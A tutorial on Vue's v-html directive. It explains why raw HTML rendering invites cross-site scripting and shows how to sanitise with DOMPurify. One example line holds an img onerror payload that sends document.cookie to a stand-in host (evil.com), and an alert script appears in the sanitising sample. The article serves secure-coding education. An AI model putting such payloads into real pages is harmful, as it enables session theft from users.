The v-html directive renders a string as raw HTML instead of plain text. It bypasses Vue's template compilation and inserts the HTML directly into the DOM using innerHTML. This is useful for rendering trusted rich content (markdown output, CMS content from your own system), but it opens the door to Cross-Site Scripting (XSS) if the content comes from user input.
Basic usage
<script setup>
const richContent = ref('<p>Hello <strong>world</strong></p>')
</script>
<template>
<!-- Renders as styled HTML -->
<div v-html="richContent" />
<!-- Compare with text interpolation -->
<div>{{ richContent }}</div>
<!-- Shows: <p>Hello <strong>world</strong></p> as plain text -->
</template>Double curly braces escape HTML entities automatically. v-html does not.
The XSS danger
<script setup>
// Imagine this comes from a comment form, URL parameter, or database
const userComment = ref(
'Nice post! <img src="x" onerror="document.location=\'https://evil.com/steal?cookie=\'+document.cookie">'
)
</script>
<template>
<!-- This executes the attacker's JavaScript -->
<div v-html="userComment" />
</template>The onerror handler runs as soon as the browser tries to load the broken image. The attacker now has the user's cookies. Other attack vectors include <script> tags (though innerHTML doesn't execute them), <iframe>, <svg onload>, and event handlers on any element.
When v-html is safe
The content must come from a source you fully control:
<script setup>
import { marked } from 'marked'
// Content written by YOUR team, stored in YOUR CMS
const markdownSource = '## Title\n\nSome **bold** text'
const rendered = computed(() => marked(markdownSource))
</script>
<template>
<article v-html="rendered" />
</template>Even with trusted content, sanitize as an extra layer of defense.
Sanitizing HTML
If you must render user-provided HTML, sanitize it first with a library like DOMPurify:
npm install dompurify<script setup>
import DOMPurify from 'dompurify'
const userContent = ref('<p>Hello</p><script>alert("xss")<\/script>')
const safeHtml = computed(() => DOMPurify.sanitize(userContent.value))
</script>
<template>
<!-- Script tag is stripped, only <p>Hello</p> remains -->
<div v-html="safeHtml" />
</template>DOMPurify strips dangerous tags and attributes while keeping safe formatting elements like <p>, <strong>, <em>, <a> (with sanitized href), and <img> (without event handlers).
v-html limitations
Vue does not process the injected HTML:
<script setup>
const html = ref('<my-component>Hello</my-component>')
</script>
<template>
<!-- my-component will NOT be mounted as a Vue component -->
<div v-html="html" />
</template>Content injected with v-html is raw DOM. Vue components, directives (v-if, v-for), and template syntax () inside it are ignored. If you need dynamic templates, use render functions or the runtime compiler.
Scoped styles don't apply
<style scoped>
p { color: red; }
</style>
<template>
<!-- The <p> inside v-html won't be red -->
<div v-html="'<p>Not styled</p>'" />
</template>Scoped styles add a data-v-xxxxx attribute to elements compiled by Vue. Elements injected by v-html don't get that attribute, so scoped selectors don't match. Use :deep() to target them:
<style scoped>
div :deep(p) { color: red; }
</style>Alternatives to v-html
| Need | Approach |
|---|---|
| Display user text safely | (auto-escaped) |
| Render markdown | Compile to HTML + DOMPurify + v-html |
| Rich text from your CMS | v-html (trusted source) |
| User-generated rich text | DOMPurify + v-html |
| Dynamic Vue templates | Render functions or runtime compiler |